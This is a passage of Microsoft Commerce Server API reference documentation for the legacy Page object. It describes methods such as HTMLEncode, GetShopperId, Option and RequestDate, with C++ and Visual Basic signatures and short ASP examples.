[in] A VARIANT that contains the text string to encode.
vtValue [Visual Basic]
A Variant that contains the text string to encode.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded HTML text.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains encoded HTML text.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' sEncoded is a String
' vOriginal is a String Variant
sEncoded = oPage.Encode(vOriginal)

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::HTMLEncode

[Visual Basic] Page Object

[Visual Basic] Page.HTMLEncode


IMSCSPage_3_0::GetShopperId Method [C++]

Page.GetShopperId Method [Visual Basic]

This method returns the unique shopper ID for the current user. (The shopper ID is returned from a URL query string or a cookie, depending on the initialization mode of the StandardSManager for the site.)

If the current customer does not have a shopper ID, GetShopperID returns NULL.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the GetShopperID method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::GetShopperId(
  VARIANT* pvarShopperID
);
[Visual Basic]
Function GetShopperId() As Variant

Parameters

pvarShopperID [C++]
[out, retval] A pointer to a VARIANT used to return the shopper ID.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the shopper ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pvarShopperID parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::PutShopperId

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.PutShopperId


IMSCSPage_3_0::HTMLEncode Method [C++]

Page.HTMLEncode Method [Visual Basic]

Use this method to apply HTML encoding to the specified text string. Its typical use is to display the contents of text fields contained in the database in HTML. Characters in the string, such as "<" and "&" that have special meanings in HTML, are converted into their HTML equivalents, such as &lt; and &amp; so that they will be displayed correctly by the client browser.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::HTMLEncode(
  VARIANT vtValue,
  BSTR* pbstrRet
);
[Visual Basic]
Function HTMLEncode(
  vtValue As Variant
) As String

Parameters

vtValue [C++]
[in] A VARIANT that contains the text string to encode.
vtValue [Visual Basic]
A String Variant that contains the text string to encode.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded HTML text.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains encoded HTML text.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

If the text field to be displayed already contains HTML encoding, do not use the HTMLEncode method. For example, suppose your product_description field contains HTML-encoded text such as "The <I>Classic Diner Clock</I> brings the age of the &quot;Golden Oldies&quot; to your kitchen." This string uses the <I> tag to format italic text and the &quot; sequence to display quotation marks when displayed by the client browser. Because the string is already coded in HTML, you do not need to encode it again. Double-encoding the string would produce incorrect results.

The Page.HTMLEncode method is identical to the Page.Encode method, but the HTMLEncode method is the preferred name. The method is similar to Server.HTMLEncode except that the Page.HTMLEncode method handles NULL values by returning an empty string (the Server.HTMLEncode method fails when the vtValue parameter is NULL). This distinction is important because database queries can return NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
Assume that the company_name field contains the name Freeman & Sons
' The following HTML example displays the contents of the company_name
' field as an <H1> tag:
<H1><% = oPage.HTMLEncode(companyinfo.company_name) %></H1>
' This example returns the following HTML string:

<H1>Freeman &amp; Sons</H1>

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::URLEncode

[Visual Basic] Page Object

[Visual Basic] Page.URLEncode


IMSCSPage_3_0::Option Method [C++]

Page.Option Method [Visual Basic]

Use this method to generate an OPTION item in an HTML form selection list, and then assign it the value and selection state that you specify. Although this functionality can be created without the Option method, using the method can speed your site development.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::Option(
  VARIANT vtVal1,
  VARIANT vtVal2,
  BSTR* pbstrRet
);
[Visual Basic]
Function Option(
  vtVal1 As Variant,
  vtVal2 As Variant
) As String

Parameters

vtVal1 [C++]
[in] A VARIANT that contains the value of the option in the selection list.
vtVal1 [Visual Basic]
A Variant that contains the value of the option in the selection list.
vtVal2 [C++]
[in] A VARIANT that contains a value that indicates whether the list option is the selected option. If vtVal2 is equal to vtVal1, then the HTML keyword SELECTED is inserted in the definition of the option list.
vtVal2 [Visual Basic]
A Variant that contains a value that indicates whether the list option is the selected option. If vtVal2 is equal to vtVal1, then the HTML keyword SELECTED is inserted in the definition of the option list.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the OPTION item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the OPTION item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' The following example generates a selection field in an
' HTML form to enable the customer to select the expiration
' year of the credit card. The Option method generates
 <OPTION VALUE="> tags and marks the current year
as selected:
iyear = Year(date) %>

<SELECT NAME="_cc_expyear">
    <% = oPage.Option(2000, iyear) %> 2000
    <% = oPage.Option(2001, iyear) %> 2001
    <% = oPage.Option(2002, iyear) %> 2002
    <% = oPage.Option(2003, iyear) %> 2003
</SELECT>
' Following is the HTML output that is produced by the ASP script
'  shown previously, assuming that the current year is 2001:
<SELECT NAME="_cc_expyear">
    <OPTION VALUE="2000"> 2000
    <OPTION VALUE="2001" SELECTED> 2001
    <OPTION VALUE="2002"> 2002
    <OPTION VALUE="2003"> 2003
</SELECT>

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::Check

[Visual Basic] Page Object

[Visual Basic] Page.Check


IMSCSPage_3_0::ProcessVerifyWith Method [C++]

Page.ProcessVerifyWith Method [Visual Basic]

Use this method in an ASP file that is activated when the shopper submits an HTML form containing an order. The ProcessVerifyWith method reads the posted contents of hidden fields in the HTML form that were created using the VerifyWith method and writes these values into a Dictionary object. This Dictionary object, called _verify_with, is stored in the OrderForm object.

When the pipeline processes the OrderForm, the contents of the _verify_with Dictionary object are compared to the original values of the fields in the OrderForm object to ensure that a page has not been altered between presentation and final purchase.

If the fields do not match, the RequiredTotal pipeline component generates an error, using the MessageManager message name constant pur_badverify.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::ProcessVerifyWith(
  IDispatch* pdispOrder
);
[Visual Basic]
Sub ProcessVerifyWith(
  pdispOrder As Object
)

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface that can be used to retrieve an OrderForm object that contains the basket for the current shopper.
pdispOrder [Visual Basic]
An object reference that supplies the OrderForm object that contains the basket for the current shopper.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' oOrderForm is a Commerce.Page object

call oPage.ProcessVerifyWith(oOrderForm)

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::VerifyWith

[C++] Message Manager Object

[C++] OrderForm Object

[Visual Basic] Page Object

[Visual Basic] Page.VerifyWith

[Visual Basic] Message Manager Object

[Visual Basic] OrderForm Object


IMSCSPage_3_0::PutShopperId Method [C++]

Page.PutShopperId Method [Visual Basic]

Use this method to write the specified shopper ID to a cookie, and/or store it for use in a URL or secure URL, depending on the initialization mode of the StandardSManager for the site.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the PutShopperID method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::PutShopperId(
  BSTR bstrShopperID
);
[Visual Basic]
Sub PutShopperId(
  bstrShopperID As String
)

Parameters

bstrShopperID [C++]
[in] A BSTR that contains the shopper ID.
bstrShopperID [Visual Basic]
A String that contains the shopper ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Where the PutShopperID method will store the specified shopper ID depends upon the StandardSManager initialization mode. In URL mode, this method writes the shopper ID to the request, so that the URL and SURL methods add the shopper ID to a query string in the URL from this page.

If the shopper ID is stored in a URL query string, you can retrieve it by passing the value you set for the application-level MSCSSIDURLKey to the IIS Request object.

If you initialize the StandardSManager in URL mode, you cannot use the StandardSManager's implementation of PutShopperID to store the shopper ID on the client system. Instead, you must use the implementation from the Page object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' sShopperID is a String containing the shopper ID GUID
oPage.PutShopperID(sShopperID)

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::GetShopperId

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::URL

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.GetShopperId

[Visual Basic] Page.SURL

[Visual Basic] Page.URL


IMSCSPage_3_0::RequestDate Method [C++]

Page.RequestDate Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a date value (Date Variant), based on the specified or default locale.

Optionally, RequestDate also checks the date against a specified date range.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestDate(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDate(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the date value to return if the requested URL query string or form-post variable does not exist or contains no value. The default cannot contain DateTime and Time values.
vtDefault [Visual Basic]
A Variant that contains the date to return if the requested URL query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted date is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted date is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed date value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Date Variant that contains the processed date value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' This example assumes that the date value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Date">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
If the user enters the date into the form and clicks the Send Info button, the value of this form field can be retrieved by the RequestDate method as follows:
vDate = Page.RequestDate("Date", "2/27/01", "1/1/01", "12/31/01", 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestDateTime

[C++] IDataFunctions_4_0_::ConvertDateString

[C++] IDataFunctions_4_0::Date

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestDateTime

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.Date


IMSCSPage_3_0::RequestDateTime Method [C++]

Page.RequestDateTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a date/time value (Date Variant), based on the specified or default locale.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestDateTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDateTime(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form-post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process.If the converted value is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted date is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the DateTime value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a date/time value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' This example assumes that the date-time value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="DateTime">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestDateTime method as follows:
vDate = oPage.RequestDateTime("DateTime", "1/1/01 12:00:01 AM", "1/1/01 _
    12:00:01 AM", "12/31/01 11:59:59 PM", 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestDate

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IMSCSPage_3_0::RequestTime

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestDate

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] Page.RequestTime


IMSCSPage_3_0::RequestDefault Method [C++]

Page.RequestDefault Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and return the value as a string.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestDefault(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDefault(
  bstrName As String,
  vtDefault As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string variable to retrieve.
vtDefault [C++]
[in] A VARIANT that contains the value to return if the requested URL query string or form post variable contains an empty or a NULL value, or is not present in the request string. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A VARIANT that contains the value to return if the requested URL query string or form post variable contains an empty or a NULL value, or is not present in the request string. If this parameter is not supplied, the method returns NULL.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed value as a string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the processed value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

This method is designed so that if a field on a form is blank, or the form does not contain the field, the value returned by default is NULL. NULL is generally the appropriate value to store to a database when a value is not present. If you need the result to be an empty string in the case of a missing value, supply an empty string as the Default parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example attempts to retrieve the value for
' the URL query string variable shopper_phone. Because no
' Default argument is supplied, if this URL query string
' variable has no value, the call returns Null.
' vShopper_phone is a Variant
' oPage is a Commerce.Page object
vShopper_phone = oPage.RequestDefault("shopper_phone")

See Also

[C++] Page Object

[Visual Basic] Page Object


IMSCSPage_3_0::RequestFloat Method [C++]

Page.RequestFloat Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a floating-point value, based on the specified or default locale.

Optionally, the RequestFloat method also checks the converted number against the specified range.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestFloat(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestFloat(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that specifies the low end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the number that specifies the low end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number that specifies the high end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number that specifies the high end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, the method returns NULL. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the floating-point value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the floating-point value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' vFloat is a Variant
' This example assumes that the float value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Float">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the number into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestFloat method as follows:
vFloat = oPage.RequestFloat("Float", 0, 0, 100, 1033)

See Also

[C++] Page Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSPage_3_0::RequestNumber

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ValidateFloat

[C++] IMSCSPage_3_0::RequestNumber

[Visual Basic] Page Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] Page.RequestNumber

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.Float

[Visual Basic] Page.RequestNumber


IMSCSPage_3_0::RequestMoneyAsNumber Method [C++]

Page.RequestMoneyAsNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a number in the base monetary units of the specified or default locale.

This method is used for backwards compatibility with Site Server 3.0 Commerce Edition sites, and relies on the Site Server 3.0 Commerce Edition monetary format.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::RequestMoneyAsNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocal,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestMoneyAsNumber(
  bstrName As String,
  vtDefault As Variant,
  vtMin As Variant,
  vtMax As Variant,
  vtLocal As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL-query string or form-post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL-query string or form-post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL-query string or form-post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value, otherwise, it is assumed that the value is in base monetary units.
vtDefault [Visual Basic]
